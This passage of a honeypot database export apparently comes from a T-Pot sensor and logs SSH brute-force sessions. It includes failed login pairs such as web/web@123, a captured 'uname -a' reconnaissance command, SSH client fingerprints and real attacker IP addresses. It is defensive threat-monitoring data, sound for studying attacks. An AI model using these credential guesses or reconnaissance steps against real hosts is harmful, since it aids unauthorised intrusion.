$4,$5,$6,$7,$8,$9;}'", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:17.551105Z", "@timestamp": "2021-09-20T11:20:17.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28787	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:24.263427+03	2021-09-20 14:30:03.290524+03	{"_id": "7QbvAnwBvYTbRNuEiDD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:24.263427Z", "@timestamp": "2021-09-20T11:20:24.263Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28788	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:25.234163+03	2021-09-20 14:30:03.291523+03	{"_id": "8AbvAnwBvYTbRNuEjDDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:25.234163Z", "@timestamp": "2021-09-20T11:20:25.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28789	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:27.205691+03	2021-09-20 14:30:03.293523+03	{"_id": "AQbvAnwBvYTbRNuElDG0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "117.22.230.94", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 1 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 1.0283749103546143, "duplicate": true, "timestamp": "2021-09-20T11:20:27.205691Z", "@timestamp": "2021-09-20T11:20:27.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28790	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:28.142339+03	2021-09-20 14:30:03.294525+03	{"_id": "BAbvAnwBvYTbRNuEmDGd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "117.22.230.94", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.551372766494751, "duplicate": true, "timestamp": "2021-09-20T11:20:28.142339Z", "@timestamp": "2021-09-20T11:20:28.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28791	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:14.678716+03	2021-09-20 14:30:03.295524+03	{"_id": "vwbvAnwBvYTbRNuEYTDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:14.678716Z", "@timestamp": "2021-09-20T11:20:14.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28792	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:14.679275+03	2021-09-20 14:30:03.296524+03	{"_id": "wQbvAnwBvYTbRNuEYTDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:14.679275Z", "@timestamp": "2021-09-20T11:20:14.679Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28793	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:20:14.429253+03	2021-09-20 14:30:03.297525+03	{"_id": "wAbvAnwBvYTbRNuEYTDj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [web/web@123] failed", "session": "1df13759ff59", "@version": "1", "password": "web@123", "username": "web", "timestamp": "2021-09-20T11:20:14.429253Z", "@timestamp": "2021-09-20T11:20:14.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28794	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:15.651937+03	2021-09-20 14:30:03.298523+03	{"_id": "wgbvAnwBvYTbRNuEZTDL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:15.651937Z", "@timestamp": "2021-09-20T11:20:15.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28795	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:20:41.000961+03	2021-09-20 14:30:03.300524+03	{"_id": "FgbvAnwBvYTbRNuEyTEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:40.134543+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 843518395026831, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 10132, "timestamp": "2021-09-20T11:20:41.000961Z", "@timestamp": "2021-09-20T11:20:41.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28796	163.172.167.225	109.199.241.180	Fatt	2021-09-20 14:20:41.450151+03	2021-09-20 14:30:03.301524+03	{"_id": "FwbvAnwBvYTbRNuEyjFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "163.172.167.225", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40670, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.450151", "@timestamp": "2021-09-20T11:20:41.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28797	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:20:41.633104+03	2021-09-20 14:30:03.302523+03	{"_id": "GAbvAnwBvYTbRNuEyjFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40802, "timestamp": "2021-09-20T11:20:41.633104", "@timestamp": "2021-09-20T11:20:41.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28798	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:20:41.631851+03	2021-09-20 14:30:03.303523+03	{"_id": "JAbvAnwBvYTbRNuEyzFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:40802 (192.168.176.2:22) [session: 43a9b7ffd027]", "session": "43a9b7ffd027", "@version": "1", "protocol": "ssh", "src_port": 40802, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.631851Z", "@timestamp": "2021-09-20T11:20:41.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28799	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:20:41.450578+03	2021-09-20 14:30:03.304523+03	{"_id": "JQbvAnwBvYTbRNuEyzFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "977abbf653b9", "@version": "1", "timestamp": "2021-09-20T11:20:41.450578Z", "@timestamp": "2021-09-20T11:20:41.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
28800	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:20:41.632582+03	2021-09-20 14:30:03.306524+03	{"_id": "JgbvAnwBvYTbRNuEyzFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "43a9b7ffd027", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:20:41.632582Z", "@timestamp": "2021-09-20T11:20:41.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28801	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:20:41.945841+03	2021-09-20 14:30:03.307524+03	{"_id": "JwbvAnwBvYTbRNuEyzFq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [miriam/miriam] failed", "session": "43a9b7ffd027", "@version": "1", "password": "miriam", "username": "miriam", "timestamp": "2021-09-20T11:20:41.945841Z", "@timestamp": "2021-09-20T11:20:41.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28802	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:20:41.406942+03	2021-09-20 14:30:03.308523+03	{"_id": "KAbvAnwBvYTbRNuEyzFr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 163.172.167.225:40670 (192.168.176.2:22) [session: 977abbf653b9]", "session": "977abbf653b9", "@version": "1", "protocol": "ssh", "src_port": 40670, "dest_port": 22, "timestamp": "2021-09-20T11:20:41.406942Z", "@timestamp": "2021-09-20T11:20:41.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28803	163.172.167.225	109.199.241.180	Cowrie	2021-09-20 14:20:41.40994+03	2021-09-20 14:30:03.309524+03	{"_id": "KQbvAnwBvYTbRNuEyzFr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "163.172.167.225", "asn": 12876, "as_org": "Online S.a.s.", "latitude": 48.8582, "location": {"lat": 48.8582, "lon": 2.3387000000000002}, "timezone": "Europe/Paris", "longitude": 2.3387000000000002, "country_name": "France", "country_code2": "FR", "country_code3": "FR", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "163.172.167.225", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "977abbf653b9", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:20:41.409940Z", "@timestamp": "2021-09-20T11:20:41.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28804	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:20:41.677258+03	2021-09-20 14:30:03.310526+03	{"_id": "KgbvAnwBvYTbRNuEyzFr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "43a9b7ffd027", "@version": "1", "timestamp": "2021-09-20T11:20:41.677258Z", "@timestamp": "2021-09-20T11:20:41.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
